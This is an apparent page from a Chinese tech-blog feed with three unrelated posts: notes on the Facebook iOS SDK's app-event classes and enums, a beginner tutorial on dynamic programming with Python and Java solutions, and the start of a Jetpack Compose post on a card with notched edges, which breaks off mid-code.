  • 通过 flushReason 可以指定刷新事件的原因,例如应用进入后台或某些特定事件触发时。

参数说明:

  • flushReason: 指定刷新事件的原因,类型为 FBSDKAppEventsFlushReason,它是一个枚举类型,定义了不同的刷新原因(例如后台、事件处理完成等)。

#枚举解读

FBSDKAppEvents 是 FB SDK 中的一个类,负责记录和管理应用程序的事件,帮助开发者分析用户行为、优化广告投放等功能。该类继承自 NSObject,并遵循多个协议。下面是各个协议的详细解释:

类定义:

NS_SWIFT_NAME(AppEvents)
@interface FBSDKAppEvents : NSObject <
FBSDKEventLogging,
FBSDKAppEventsConfiguring,
FBSDKApplicationActivating,
FBSDKApplicationLifecycleObserving,
FBSDKApplicationStateSetting,
FBSDKSourceApplicationTracking,
FBSDKUserIDProviding
>

各个协议的作用:

  1. FBSDKEventLogging
  • 作用:提供事件记录功能。允许开发者记录自定义的应用事件和标准事件,这些事件可以用于分析用户的行为,帮助提升用户体验或广告优化。例如,记录用户的购买行为、应用内活动等。
  1. FBSDKAppEventsConfiguring
  • 作用:用于配置和管理 FBSDKAppEvents 的设置。例如,配置是否启用数据收集、是否启用广告相关事件等。
  1. FBSDKApplicationActivating
  • 作用:该协议提供处理应用激活的功能。当应用启动或从后台进入前台时,会触发与应用激活相关的事件。可以用来统计应用的活跃度,或者进行激活相关的日志记录。
  1. FBSDKApplicationLifecycleObserving
  • 作用:用于观察应用的生命周期事件,如应用启动、进入后台、退出等。这些事件可以帮助开发者理解应用的运行状态,以及用户的活跃情况。
  1. FBSDKApplicationStateSetting
  • 作用:该协议允许设置和管理应用的当前状态,例如应用是否处于活动状态,是否处于后台等。这些状态可以与事件记录一起使用,以便准确追踪事件发生的上下文。
  1. FBSDKSourceApplicationTracking
  • 作用:用于跟踪应用的来源信息。这可以帮助开发者了解用户是如何进入应用的,比如通过点击广告、社交媒体链接、搜索等。这对于分析营销渠道效果很有帮助。
  1. FBSDKUserIDProviding
  • 作用:提供当前用户的唯一标识符(User ID)。这个协议帮助开发者获取到与用户相关的 ID,以便将应用事件与用户的行为数据关联起来。

主要功能总结:

FBSDKAppEvents 类通过这些协议提供了多个功能,使得开发者能够灵活地处理应用事件、生命周期、来源等信息,进而进行精准的分析、优化和广告投放。

通过实现 FBSDKAppEvents,开发者可以:

  • 跟踪并记录用户行为事件(如购买、登录等)。
  • 配置和定制事件的行为记录。
  • 获取应用的生命周期状态(如应用启动、进入后台等)。
  • 追踪来源应用,分析流量的来源。
  • 获取与用户相关的唯一标识符。

这些功能使得 FBSDKAppEvents 成为 FB SDK 中一个重要的工具,帮助开发者提升应用性能和用户体验。


以下是每个 FB SDK 应用事件参数键(FBSDKAppEventParameterName)的中文注解,逐一说明它们的用法:

  1. FBSDKAppEventParameterNameContent
  • 描述:此参数用于记录有关某个内容的事件信息。例如,可能是某个特定的产品、媒体或服务等。
  1. FBSDKAppEventParameterNameContentID
  • 描述:用于指定某个具体内容的唯一标识符。比如,产品的 ID(如 EAN),文章的标识符,或者根据应用类型可能是其他的 ID。
  1. FBSDKAppEventParameterNameContentType
  • 描述:用于指定与事件相关的内容类型。举例来说,可能是“音乐”、“照片”或“视频”,具体取决于应用的类型和内容。
  1. FBSDKAppEventParameterNameCurrency
  • 描述:用于指定事件中的货币类型。例如,“USD”代表美元,“EUR”代表欧元,“GBP”代表英镑。它遵循 ISO 4217 货币代码标准。
  1. FBSDKAppEventParameterNameDescription
  • 描述:用于指定与事件相关的描述信息。例如,可能描述用户在事件 FBAppEventNameAchievementUnlocked 中解锁的成就名称。
  1. FBSDKAppEventParameterNameLevel
  • 描述:用于指定在某些事件中用户达到的级别。例如,在 FBAppEventNameAchievedLevel 事件中,可以使用此参数记录玩家的级别或进度。
  1. FBSDKAppEventParameterNameMaxRatingValue
  • 描述:用于指定评分系统的最大值。通常用于事件如 FBAppEventNameRate 中,例如可能是“5”表示五星评分,或“10”表示10分制评分。
  1. FBSDKAppEventParameterNameNumItems
  • 描述:用于指定事件中涉及的物品数量。比如,在 FBAppEventNameInitiatedCheckoutFBAppEventNamePurchased 事件中,表示用户结账或购买的商品数量。
  1. FBSDKAppEventParameterNamePaymentInfoAvailable
  • 描述:用于指定在 FBAppEventNameInitiatedCheckout 事件中,是否已经提供了支付信息。常见的值有 FBSDKAppEventParameterValueYesFBSDKAppEventParameterValueNo,表示是否有支付信息。
  1. FBSDKAppEventParameterNameRegistrationMethod
  • 描述:用于指定用户注册应用的方式。可能的值包括“FB”、 “email”(电子邮件)、 “Twitter”等,帮助跟踪用户通过哪种方式注册应用。
  1. FBSDKAppEventParameterNameSearchString
  • 描述:用于指定用户在应用内进行搜索时输入的搜索词。这有助于了解用户正在寻找什么内容或信息。
  1. FBSDKAppEventParameterNameSuccess
  • 描述:用于表示记录的活动是否成功。通常与 FBSDKAppEventParameterValueYes(成功)和 FBSDKAppEventParameterValueNo(失败)一起使用,用来标记事件是否完成或是否成功。
  1. FBSDKAppEventParameterNameAdType
  • 描述:用于指定在 FBSDKAppEventNameAdImpressionFBSDKAppEventNameAdClick 事件中广告的类型。例如,可以是“banner”(横幅广告)、“interstitial”(插屏广告)、“rewarded_video”(奖励视频广告)、“native”(原生广告)等。
  1. FBSDKAppEventParameterNameOrderID
  • 描述:用于指定在订阅事件(如 FBSDKAppEventNameSubscribeFBSDKAppEventNameStartTrial)中,订单的唯一标识符。它用于追踪每个订阅或试用事件。
  1. FBSDKAppEventParameterNameEventName
  • 描述:用于指定事件的名称。每个事件记录时会使用该参数来标识具体的事件类型,例如 FBAppEventNamePurchased 表示购买事件。
  1. FBSDKAppEventParameterNameLogTime
  • 描述:用于指定事件的记录时间。此参数帮助在数据分析时标记事件发生的准确时间。

以下是详细解读每个 FB SDK 中的事件枚举 FBSDKAppEventName,并附上相应的注释,帮助理解每个事件的作用及其应用场景。

General Purpose - 通用目的

  1. FBSDKAppEventNameAdClick
  • 事件:用户点击广告时记录此事件。
  • 用途:此事件用于记录用户与广告的互动,通常用于广告效果分析。
  • 参数:可附带广告相关的额外参数(如广告来源、点击时间等)。
  1. FBSDKAppEventNameAdImpression
  • 事件:用户查看广告时记录此事件。
  • 用途:此事件用于记录广告的展示次数(即用户是否看到了广告),通常用于分析广告展示量。
  • 参数:可以附带广告展示的详细信息。
  1. FBSDKAppEventNameCompletedRegistration
  • 事件:用户完成注册时记录此事件。
  • 用途:该事件在用户完成应用注册流程时触发,用于分析用户注册情况。
  • 参数:可以附带用户的注册详情,或应用注册的特定步骤。
  1. FBSDKAppEventNameCompletedTutorial
  • 事件:用户完成应用内教程时记录此事件。
  • 用途:该事件通常用于游戏或应用中的教程,记录用户是否完成了引导步骤。
  • 参数:可以附带教程的类型或步骤信息。
  1. FBSDKAppEventNameContact
  • 事件:记录用户与业务的联系(如电话、短信、电子邮件、聊天等)。
  • 用途:该事件适用于用户与品牌或商家进行沟通的情境。
  • 参数:可附带联系的方式、时长等信息。
  1. FBSDKAppEventNameCustomizeProduct
  • 事件:用户在应用中自定义产品时记录此事件。
  • 用途:用于记录用户通过定制工具或其他自定义功能调整产品的行为。
  • 参数:可以附带定制的产品详情(如颜色、尺寸等)。
  1. FBSDKAppEventNameDonate
  • 事件:用户向组织或慈善捐款时记录此事件。
  • 用途:用于记录用户捐款行为,适用于慈善、公益相关应用。
  • 参数:可附带捐款金额、捐赠对象等信息。
  1. FBSDKAppEventNameFindLocation
  • 事件:用户通过应用找到某个位置时记录此事件(例如寻找附近商店)。
  • 用途:用于记录用户通过应用搜索商店、地点等信息的行为。
  • 参数:可附带定位信息、地点名称等。
  1. FBSDKAppEventNameRated
  • 事件:用户对应用内项目进行评分时记录此事件。
  • 用途:适用于记录用户评分行为,通常在评分页面中触发。
  • 参数:评分值作为 valueToSum 参数传递。
  1. FBSDKAppEventNameSchedule
  • 事件:用户预约访问某个地点时记录此事件。
  • 用途:适用于记录用户预约、安排某种服务或访问的情境。
  • 参数:可附带预约时间、地点等信息。
  1. FBSDKAppEventNameSearched
  • 事件:用户在应用内进行搜索时记录此事件。
  • 用途:用于记录用户在应用中执行搜索操作的行为。
  • 参数:可附带搜索关键词或搜索结果相关信息。
  1. FBSDKAppEventNameStartTrial
  • 事件:用户开始试用产品或服务时记录此事件。
  • 用途:适用于记录用户开始试用某个付费服务或产品(例如,试用订阅)。
  • 参数:可附带试用的产品或服务信息。
  1. FBSDKAppEventNameSubmitApplication
  • 事件:用户提交申请时记录此事件(例如,申请信用卡或教育项目)。
  • 用途:用于记录用户在应用中提交申请表单的行为。
  • 参数:可附带申请的内容、类型等信息。
  1. FBSDKAppEventNameSubscribe
  • 事件:用户开始付费订阅时记录此事件。
  • 用途:记录用户订阅服务(如应用订阅、会员订阅)的行为。
  • 参数:可附带订阅计划、订阅费用等信息。
  1. FBSDKAppEventNameViewedContent
  • 事件:用户查看某种内容时记录此事件。
  • 用途:用于记录用户查看特定内容的行为,例如视频、文章、产品页面等。
  • 参数:可以附带内容的标识符、类型等信息。

E-Commerce - 电子商务

  1. FBSDKAppEventNameAddedPaymentInfo
  • 事件:用户添加支付信息时记录此事件。
  • 用途:用于记录用户在应用中添加信用卡或支付方式的行为。
  • 参数:可附带支付方式的类型、支付信息的细节。
  1. FBSDKAppEventNameAddedToCart
  • 事件:用户将商品添加到购物车时记录此事件。
  • 用途:适用于电商应用,记录用户将商品加入购物车的行为。
  • 参数:商品的价格作为 valueToSum 参数传递。
  1. FBSDKAppEventNameAddedToWishlist
  • 事件:用户将商品添加到愿望清单时记录此事件。
  • 用途:适用于电商应用,记录用户对商品感兴趣并添加到愿望清单的行为。
  • 参数:商品的价格作为 valueToSum 参数传递。
  1. FBSDKAppEventNameInitiatedCheckout
  • 事件:用户开始结账流程时记录此事件。
  • 用途:适用于记录用户进入结账环节的行为。
  • 参数:购物车总价作为 valueToSum 参数传递。
  1. FBSDKAppEventNamePurchased
  • 事件:用户完成交易时记录此事件。
  • 用途:记录用户实际完成支付购买商品的行为。
  • 参数:交易的总价作为 valueToSum 参数传递。

Gaming - 游戏

  1. FBSDKAppEventNameAchievedLevel
  • 事件:用户在游戏中达到新关卡时记录此事件。
  • 用途:用于游戏中的等级成就,记录用户达成新关卡的行为。
  • 参数:可以附带关卡编号或等级等信息。
  1. FBSDKAppEventNameUnlockedAchievement
  • 事件:用户解锁某个成就时记录此事件。
  • 用途:适用于记录用户在游戏中解锁的成就(如特殊任务、奖项等)。
  • 参数:可以附带成就的名称或类型。
  1. FBSDKAppEventNameSpentCredits
  • 事件:用户在游戏中消耗积分或虚拟货币时记录此事件。
  • 用途:用于记录玩家在游戏中花费虚拟货币或积分的行为。
  • 参数:花费的积分数量作为 valueToSum 参数传递。

by 山水域 at January 24, 2025 07:49 AM

juejin backend

[小白也能懂的算法知识]动态规划01--基础知识

1. 动态规划简介

1.1 动态规划的定义

动态规划(Dynamic Programming) :简称 DP,是一种求解多阶段决策过程最优化问题的方法。在动态规划中,通过把原问题分解为相对简单的子问题,先求解子问题,再由子问题的解而得到原问题的解。

动态规划最早由理查德 · 贝尔曼于 1957 年在其著作「动态规划(Dynamic Programming)」一书中提出。这里的 Programming 并不是编程的意思,而是指一种「表格处理方法」,即将每一步计算的结果存储在表格中,供随后的计算查询使用。

1.2 动态规划的核心思想

动态规划的核心思想

  1. 把「原问题」分解为「若干个重叠的子问题」,每个子问题的求解过程都构成一个 「阶段」。在完成一个阶段的计算之后,动态规划方法才会执行下一个阶段的计算。
  2. 在求解子问题的过程中,按照「自顶向下的记忆化搜索方法」或者「自底向上的递推方法」求解出「子问题的解」,把结果存储在表格中,当需要再次求解此子问题时,直接从表格中查询该子问题的解,从而避免了大量的重复计算。

这看起来很像是分治算法,但动态规划与分治算法的不同点在于:

  1. 适用于动态规划求解的问题,在分解之后得到的子问题往往是相互联系的,会出现若干个重叠子问题。
  2. 使用动态规划方法会将这些重叠子问题的解保存到表格里,供随后的计算查询使用,从而避免大量的重复计算。

1.3 动态规划的简单例子

下面我们先来通过一个简单的例子来介绍一下什么是动态规划算法,然后再来讲解动态规划中的各种术语。

斐波那契数列:数列由 f(0)=1,f(1)=2f(0)=1,f(1)=2 开始,后面的每一项数字都是前面两项数字的和。也就是:

<semantics>f(n)={0,n=01,n=1f(n2)+f(n1),n>1<annotation encoding="application/x-tex">f(n) = \begin{cases} 0,\,n=0\\ 1,\,n=1\\f(n-2)+f(n-1),\,n>1 \end{cases} </annotation></semantics>f(n)=0,n=01,n=1f(n2)+f(n1),n>1

通过公式 f(n)=f(n−2)+f(n−1),我们可以将原问题 f(n) 递归地划分为  f(n−2) 和 f(n−1) 这两个子问题。其对应的递归过程如下图所示:

斐波那契数列的重复计算项

从图中可以看出:如果使用传统递归算法计算 f(5),需要先计算 f(3)) 和 f(4),而在计算 f(4) 时还需要计算 f(3),这样 f(3) 就进行了多次计算。同理 f(0)、f(1)、f(2) 都进行了多次计算,从而导致了重复计算问题。

为了避免重复计算,我们可以使用动态规划中的「表格处理方法」来处理。

这里我们使用「自底向上的递推方法」求解出子问题 f(n−2) 和 f(n−1) 的解,然后把结果存储在表格中,供随后的计算查询使用。具体过程如下:

  1. 定义一个数组 dp,用于记录斐波那契数列中的值。
  2. 初始化 dp[0]=0,dp[1]=1。
  3. 根据斐波那契数列的递推公式 f(n)=f(n−1)+f(n−2),从 dp(2) 开始递推计算斐波那契数列的每个数,直到计算出 dp(n)。
  4. 最后返回 dp(n) 即可得到第 n 项斐波那契数。

具体代码如下:

class Solution:
    def fib(self, n: int) -> int:
        if n == 0:
            return 0
        if n == 1:
            return 1

        dp = [0 for _ in range(n + 1)]
        dp[0] = 0
        dp[1] = 1

        for i in range(2, n + 1):
            dp[i] = dp[i - 2] + dp[i - 1]

        return dp[n]

这种使用缓存(哈希表、集合或数组)保存计算结果,从而避免子问题重复计算的方法,就是「动态规划算法」。

2. 动态规划的特征

究竟什么样的问题才可以使用动态规划算法解决呢?

首先,能够使用动态规划方法解决的问题必须满足以下三个特征:

  1. 最优子结构性质
  2. 重叠子问题性质
  3. 无后效性

2.1 最优子结构性质]

最优子结构:指的是一个问题的最优解包含其子问题的最优解。

举个例子,如下图所示,原问题 S={a1,a2,a3,a4},在 a1 步我们选出一个当前最优解之后,问题就转换为求解子问题 S子问题={a2,a3,a4}。如果原问题 S 的最优解可以由「第 a1 步得到的局部最优解」和「 S子问题 的最优解」构成,则说明该问题满足最优子结构性质。

也就是说,如果原问题的最优解包含子问题的最优解,则说明该问题满足最优子结构性质。

最优子结构性质

2.2 重叠子问题性质

重叠子问题性质:指的是在求解子问题的过程中,有大量的子问题是重复的,一个子问题在下一阶段的决策中可能会被多次用到。如果有大量重复的子问题,那么只需要对其求解一次,然后用表格将结果存储下来,以后使用时可以直接查询,不需要再次求解。

重叠子问题性质

之前我们提到的「斐波那契数列」例子中,f(0)、f(1)、f(2)、f(3) 都进行了多次重复计算。动态规划算法利用了子问题重叠的性质,在第一次计算 f(0)、f(1)、f(2)、f(3) 时就将其结果存入表格,当再次使用时可以直接查询,无需再次求解,从而提升效率。

2.3 无后效性

无后效性:指的是子问题的解(状态值)只与之前阶段有关,而与后面阶段无关。当前阶段的若干状态值一旦确定,就不再改变,不会再受到后续阶段决策的影响。

也就是说,一旦某一个子问题的求解结果确定以后,就不会再被修改

举个例子,下图是一个有向无环带权图,我们在求解从 A 点到 F 点的最短路径问题时,假设当前已知从 A 点到 D 点的最短路径(2+7=9)。那么无论之后的路径如何选择,都不会影响之前从 A 点到 D 点的最短路径长度。这就是「无后效性」。

而如果一个问题具有「后效性」,则可能需要先将其转化或者逆向求解来消除后效性,然后才可以使用动态规划算法。

无后效性

3. 动态规划的基本思路

如下图所示,我们在使用动态规划方法解决某些最优化问题时,可以将解决问题的过程按照一定顺序(时间顺序、空间顺序或其他顺序)分解为若干个相互联系的「阶段」。然后按照顺序对每一个阶段做出「决策」,这个决策既决定了本阶段的效益,也决定了下一阶段的初始状态。依次做完每个阶段的决策之后,就得到了一个整个问题的决策序列。

这样就将一个原问题分解为了一系列的子问题,再通过逐步求解从而获得最终结果。

动态规划方法

这种前后关联、具有链状结构的多阶段进行决策的问题也叫做「多阶段决策问题」。

通常我们使用动态规划方法来解决问题的基本思路如下:

  1. 划分阶段:将原问题按顺序(时间顺序、空间顺序或其他顺序)分解为若干个相互联系的「阶段」。划分后的阶段⼀定是有序或可排序的,否则问题⽆法求解。

    • 这里的「阶段」指的是⼦问题的求解过程。每个⼦问题的求解过程都构成⼀个「阶段」,在完成前⼀阶段的求解后才会进⾏后⼀阶段的求解。
  2. 定义状态:将和子问题相关的某些变量(位置、数量、体积、空间等等)作为一个「状态」表示出来。状态的选择要满⾜⽆后效性。

    • 一个「状态」对应一个或多个子问题,所谓某个「状态」下的值,指的就是这个「状态」所对应的子问题的解。
  3. 状态转移:根据「上一阶段的状态」和「该状态下所能做出的决策」,推导出「下一阶段的状态」。或者说根据相邻两个阶段各个状态之间的关系,确定决策,然后推导出状态间的相互转移方式(即「状态转移方程」)。

  4. 初始条件和边界条件:根据问题描述、状态定义和状态转移方程,确定初始条件和边界条件。

  5. 最终结果:确定问题的求解目标,然后按照一定顺序求解每一个阶段的问题。最后根据状态转移方程的递推结果,确定最终结果。

4. 动态规划的应用

动态规划相关的问题往往灵活多变,思维难度大,没有特别明显的套路,并且经常会在各类算法竞赛和面试中出现。

动态规划问题的关键点在于「如何状态设计」和「推导状态转移条件」,还有各种各样的「优化方法」。这类问题一定要多练习、多总结,只有接触的题型多了,才能熟练掌握动态规划思想。

下面来介绍几道关于动态规划的基础题目。

4.1 斐波那契数

4.1.1 题目链接

4.1.2 题目大意

描述:给定一个整数 n。

要求:计算第 n 个斐波那契数。

说明

  • 斐波那契数列的定义如下:

    • f(0)=0,f(1)=1。
    • f(n)=f(n−1)+f(n−2),其中 n>1。
  • 0≤n≤30。

示例

  • 示例 1:
输入:n = 2
输出:1
解释:F(2) = F(1) + F(0) = 1 + 0 = 1
  • 示例 2:
输入:n = 3
输出:2
解释:F(3) = F(2) + F(1) = 1 + 1 = 2

4.1.3 解题思路

1. 划分阶段

我们可以按照整数顺序进行阶段划分,将其划分为整数 0∼n。

2. 定义状态

定义状态 dp[i] 为:第 i 个斐波那契数。

3. 状态转移方程

根据题目中所给的斐波那契数列的定义 f(n)=f(n−1)+f(n−2),则直接得出状态转移方程为 dp[i]=dp[i−1]+dp[i−2]。

4. 初始条件

根据题目中所给的初始条件 f(0)=0,f(1)=1 确定动态规划的初始条件,即 dp[0]=0,dp[1]=1。

5. 最终结果

根据状态定义,最终结果为 dp[n],即第 n 个斐波那契数为 dp[n]。

4.1.4 代码

python

class Solution:
    def fib(self, n: int) -> int:
        if n <= 1:
            return n

        dp = [0 for _ in range(n + 1)]
        dp[0] = 0
        dp[1] = 1
        for i in range(2, n + 1):
            dp[i] = dp[i - 2] + dp[i - 1]

        return dp[n]

java

public int fib(int n) {
    if (n == 0) {
        return 0;
    }
    if (n == 1) {
        return 1;
    }
    int a = 0;
    int b = 1;
    for (int i = 2; i <= n; i++) {
        int c = a + b;
        a = b;
        b = c;
    }

    return b;
}

4.1.5 复杂度分析

  • 时间复杂度:O(n)。一重循环遍历的时间复杂度为 O(n)。
  • 空间复杂度:O(n)。用到了一维数组保存状态,所以总体空间复杂度为 O(n)。

4.2 爬楼梯

4.2.1 题目链接

4.2.2 题目大意

描述:假设你正在爬楼梯。需要 n 阶你才能到达楼顶。每次你可以爬 1 或 2 个台阶。现在给定一个整数 n。

要求:计算出有多少种不同的方法可以爬到楼顶。

说明

  • 1≤n≤45。

示例

  • 示例 1:
输入:n = 2
输出:2
解释:有两种方法可以爬到楼顶。
1. 1 阶 + 1 阶
2. 2 阶
  • 示例 2:
输入:n = 3
输出:3
解释:有三种方法可以爬到楼顶。
1. 1 阶 + 1 阶 + 1 阶
2. 1 阶 + 2 阶
3. 2 阶 + 1 阶

4.2.3 解题思路

1. 划分阶段

我们按照台阶的阶层划分阶段,将其划分为 0∼n0∼n 阶。

2. 定义状态

定义状态 dp[i] 为:爬到第 i 阶台阶的方案数。

3. 状态转移方程

根据题目大意,每次只能爬 1 或 2 个台阶。则第 i 阶楼梯只能从第 i−1 阶向上爬 1 阶上来,或者从第 i−2 阶向上爬 2 阶上来。所以可以推出状态转移方程为 dp[i]=dp[i−1]+dp[i−2]。

4. 初始条件
  • 第 0 层台阶方案数:可以看做 1 种方法(从 0 阶向上爬 0 阶),即 dp[1]=1。
  • 第 1 层台阶方案数:1 种方法(从 0 阶向上爬 1 阶),即 dp[1]=1。
  • 第 2 层台阶方案数:2 中方法(从 0 阶向上爬 2 阶,或者从 1 阶向上爬 1 阶)。
5. 最终结果

根据状态定义,最终结果为 dp[n],即爬到第 n 阶台阶(即楼顶)的方案数为 dp[n]。

虽然这道题跟上一道题的状态转移方程都是 dp[i]=dp[i−1]+dp[i−2],但是两道题的考察方式并不相同,一定程度上也可以看出来动态规划相关题目的灵活多变。

4.2.4 代码

python

class Solution:
    def climbStairs(self, n: int) -> int:
        dp = [0 for _ in range(n + 1)]
        dp[0] = 1
        dp[1] = 1
        for i in range(2, n + 1):
            dp[i] = dp[i - 1] + dp[i - 2]
        
        return dp[n]

java

public int climbStairs(int n) {
    if (n == 1) {
        return 1;
    }
    if (n == 2) {
        return 2;
    }
    int a = 1;
    int b = 2;
    for (int i = 3; i <= n; i++) {
        int c = a + b;
        a = b;
        b = c;
    }

    return b;
}

4.2.5 复杂度分析

  • 时间复杂度:O(n)。一重循环遍历的时间复杂度为 O(n)。
  • 空间复杂度:O(n)。用到了一维数组保存状态,所以总体空间复杂度为 O(n)。因为 dp[i] 的状态只依赖于 dp[i−1] 和 dp[i−2],所以可以使用 33 个变量来分别表示 dp[i]、dp[i−1]、dp[i−2],从而将空间复杂度优化到 O(1)。

4.3 不同路径

4.3.1 题目链接

4.3.2 题目大意

描述:给定两个整数 m 和 n,代表大小为 m×n 的棋盘, 一个机器人位于棋盘左上角的位置,机器人每次只能向右、或者向下移动一步。

要求:计算出机器人从棋盘左上角到达棋盘右下角一共有多少条不同的路径。

说明

  • 1≤m,n≤100。
  • 题目数据保证答案小于等于 2×109。

示例

  • 示例 1:
输入:m = 3, n = 7
输出:28
  • 示例 2:
输入:m = 3, n = 2
输出:3
解释:
从左上角开始,总共有 3 条路径可以到达右下角。
1. 向右 -> 向下 -> 向下
2. 向下 -> 向下 -> 向右
3. 向下 -> 向右 -> 向下

4.3.3 解题思路

1. 划分阶段

按照路径的结尾位置(行位置、列位置组成的二维坐标)进行阶段划分。

2. 定义状态](

定义状态 dp[i][j] 为:从左上角到达 (i,j) 位置的路径数量。

3. 状态转移方程

因为我们每次只能向右、或者向下移动一步,因此想要走到 (i,j),只能从 (i−1,j) 向下走一步走过来;或者从 (i,j−1) 向右走一步走过来。所以可以写出状态转移方程为:dp[i][j]=dp[i−1][j]+dp[i][j−1],此时 i>0,j>0。

4. 初始条件]
  • 从左上角走到 (0,0) 只有一种方法,即 dp[0][0]=1。
  • 第一行元素只有一条路径(即只能通过前一个元素向右走得到),所以 dp[0][j]=1。
  • 同理,第一列元素只有一条路径(即只能通过前一个元素向下走得到),所以 dp[i][0]=1。
5. 最终结果

根据状态定义,最终结果为 dp[m−1][n−1],即从左上角到达右下角 (m−1,n−1)位置的路径数量为 dp[m−1][n−1]。

4.3.4 代码

python

class Solution:
    def uniquePaths(self, m: int, n: int) -> int:
        dp = [[0 for _ in range(n)] for _ in range(m)]
        
        for j in range(n):
            dp[0][j] = 1
        for i in range(m):
            dp[i][0] = 1

        for i in range(1, m):
            for j in range(1, n):
                dp[i][j] = dp[i - 1][j] + dp[i][j - 1]
        
        return dp[m - 1][n - 1]

java

public int uniquePaths(int m, int n) {

    int[][] grid = new int[m][n];
    // 第一行和第一列只可能有一种路径
    for (int i = 0; i < n; i++) {
        grid[0][i] = 1;
    }
    for (int j = 0; j < m; j++) {
        grid[j][0] = 1;
    }

    // 对应网格的路径数f(m,n) = f(m-1,n) + f(m,n-1)
    for (int i = 1; i < m; i++) {
        for (int j = 1; j < n; j++) {
            grid[i][j] = grid[i - 1][j] + grid[i][j - 1];
        }
    }

    return grid[m-1][n-1];
}

4.3.5 复杂度分析

  • 时间复杂度:O(m×n)。初始条件赋值的时间复杂度为 O(m+n),两重循环遍历的时间复杂度为 O(m×n),所以总体时间复杂度为 O(m×n)。
  • 空间复杂度:O(m×n)。用到了二维数组保存状态,所以总体空间复杂度为 O(m×n)。因为 dp[i][j] 的状态只依赖于上方值 dp[i−1][j] 和左侧值 dp[i][j−1]。可以将空间复杂度优化到O(n),因为在计算某一行的路径数量时,只需要用到上一行的结果。
public int uniquePaths(int m, int n) {

    // 初始化第一行
    int[] grid = new int[n];
    for (int i = 0; i < n; i++) {
        grid[i] = 1;
    }

    for (int j = 1; j < m; j++) {
        // 等同于f(m,n) = f(m-1,n) + f(m,n-1)
        for (int i = 1; i < n; i++) {
            grid[i] = grid[i] + grid[i - 1];
        }
    }

    return grid[n - 1];
}

参考:algo.itcharge.cn/10.Dynamic-…

系列技术文章:java面试(持续更新中)

by 坠落的苍穹 at January 24, 2025 07:40 AM

juejin android

Compose 挖孔卡片实现

去年入坑鸿蒙,现在算来快半年没碰Android了。昨天JetPack Compose博物馆群里大佬们在讨论上图如何用Compose实现问题。大概看了看应该十分钟可以搞定的东西,于是发表了意见,裁剪背景就可以,十分钟应该能搞定。抱着对自己话负责,以及回忆一下Compose的知识,有了后补的这篇文章。也许大家也可以从中学到一些技巧。

一、需求实现分析

image.png

1、分析需求

需求图显示,卡片为四角圆滑的矩形,两侧有半圆挖孔,且圆角需透底显示背景。因此,不能仅使用填充颜色,而需要通过裁剪来实现该效果。

2、技术分析

不要为了自定义而进行编写代码,好的自定义应该建立在官方原有稳定组件的基础上,且可以适用于各个组件。在ComposeModifier.backgound作为在组件内容背后可以填充具有形状的API, Modifier.clip可以对内容进行裁剪的API,应该首先想到,而不是脱离原生组件,完全自定义一个容器或背景组件。

/**
 * Draws [shape] with a solid [color] behind the content.
 *
 * @sample androidx.compose.foundation.samples.DrawBackgroundColor
 *
 * @param color color to paint background with
 * @param shape desired shape of the background
 */
@Stable
fun Modifier.background(
    color: Color,
    shape: Shape = RectangleShape
): Modifier {
    val alpha = 1.0f // for solid colors
    return this.then(
        BackgroundElement(
            color = color,
            shape = shape,
            alpha = alpha,
            inspectorInfo = debugInspectorInfo {
                name = "background"
                value = color
                properties["color"] = color
                properties["shape"] = shape
            }
        )
    )
}


/**
 * Clip the content to [shape].
 *
 * @param shape the content will be clipped to this [Shape].
 */
@Stable
fun Modifier.clip(shape: Shape) = graphicsLayer(shape = shape, clip = true)

综合分析,我们用Modifier.backgound, Modifier.clip实现。

二、代码实现

案例中的布局为了样式瞎写,可以根据需求编写优美的组件。

1、简单布局

简单写个架子,添加了基本的文字、按钮背景。并简单的自定义了个BezierShape作为裁剪形状。效果如下:

@Stable
class BezierShapes(
) :
    Shape {
    override fun createOutline(
        size: Size,
        layoutDirection: LayoutDirection,
        density: Density
    ): Outline {
        val path = Path()
        val rect = Rect(Offset(0f, 0f), Offset(size.width, size.height))
        path.addRoundRect(
            RoundRect(
                rect,
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f)
            )
        )
        path.close()
        return Outline.Generic(path)
    }
}

image.png 具体代码:

@Stable
class BezierShape(
) :
    Shape {
    override fun createOutline(
        size: Size,
        layoutDirection: LayoutDirection,
        density: Density
    ): Outline {
        val path = Path()
        val rect = Rect(Offset(0f, 0f), Offset(size.width, size.height))
        path.addRoundRect(
            RoundRect(
                rect,
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f),
                CornerRadius(30f)
            )
        )
        path.close()
        return Outline.Generic(path)
    }
}

@Preview(widthDp = 480, heightDp = 200)
@Composable
fun CardComposeView(navigateToScreen: (route: String) -> Unit = {}) {
    Box() {
        Image(
            painter = painterResource(R.mipmap.ticket_bar_bg),
            contentDescription = "",
            modifier = Modifier
                .fillMaxSize()
                .fillMaxWidth()
                .blur(10.dp),
            contentScale = ContentScale.Crop
        )
        Box(
            Modifier
                .background(Color.Transparent)
                .padding(10.dp)
        ) {
            Box(
                Modifier
                    .fillMaxWidth()
                    .fillMaxHeight()
                    .clip(BezierShapes())
                    .background(Color(238, 220, 203, 255),BezierShapers())
                    .padding(10.dp)

            ) {
                Column(Modifier.fillMaxWidth()) {
                    Text(
                        "$12 OFF",
                        color = Color.Black,
                        fontSize = 20.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(8.dp)
                    )
                    Text(
                        "Available for orders over $39",
                        color = Color.Gray,
                        fontSize = 16.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(start = 8.dp, bottom = 10.dp, top = 6.dp)
                    )
                    Text(
                        "06/25/2023 09:00-07/01/2023 09:00",
                        color = Color.Gray,
                        fontSize = 16.sp,
                        fontWeight = FontWeight.Bold,
                        modifier = Modifier.padding(start = 8.dp, bottom = 8.dp)
                    )
                    Box(Modifier.height(20.dp))
                    Row(horizontalArrangement = Arrangement.SpaceBetween, modifier = Modifier.fillMaxWidth().padding(end = 10.dp)) {
                        Row(
                            modifier = Modifier
                                .wrapContentSize()
                                .padding(start = 10.dp)
                                .background(Color(239, 230, 216, 255), shape = RoundedCornerShape(5.dp))
                        ) {
                            Text(
                                "Code:",
                                color = Color.Black,
                                fontSize = 16.sp,
                                modifier = Modifier.padding(start = 8.dp).padding(vertical = 8.dp)
                            )
                            Text(
                                "DsCT12",
                                color = Color.Black,
                                fontSize = 16.sp,
                                fontWeight = FontWeight.Bold,
                                modifier = Modifier.padding(start = 8.dp).padding(top = 8.dp, end = 10.dp)
                            )
                        }
                        Row(
                            modifier = Modifier
                                .wrapContentSize()
